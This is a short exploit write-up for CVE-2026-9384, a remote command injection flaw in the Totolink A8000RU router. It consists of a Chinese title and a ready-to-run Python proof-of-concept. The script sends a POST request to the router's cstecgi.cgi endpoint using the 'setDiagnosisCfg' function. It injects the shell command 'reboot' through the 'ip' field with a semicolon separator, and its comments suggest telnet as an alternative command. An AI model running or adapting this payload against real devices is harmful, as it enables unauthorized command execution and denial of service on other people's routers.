CVE-2026-9384 Totolink A8000RU远程命令注入漏洞

import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Malicious payload injecting a command (e.g., reboot or telnet) # Using ';' to separate commands in shell payload = { "function": "setDiagnosisCfg", "ip": "127.0.0.1; reboot; #" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" } try: response = requests.post(url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if device rebooted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")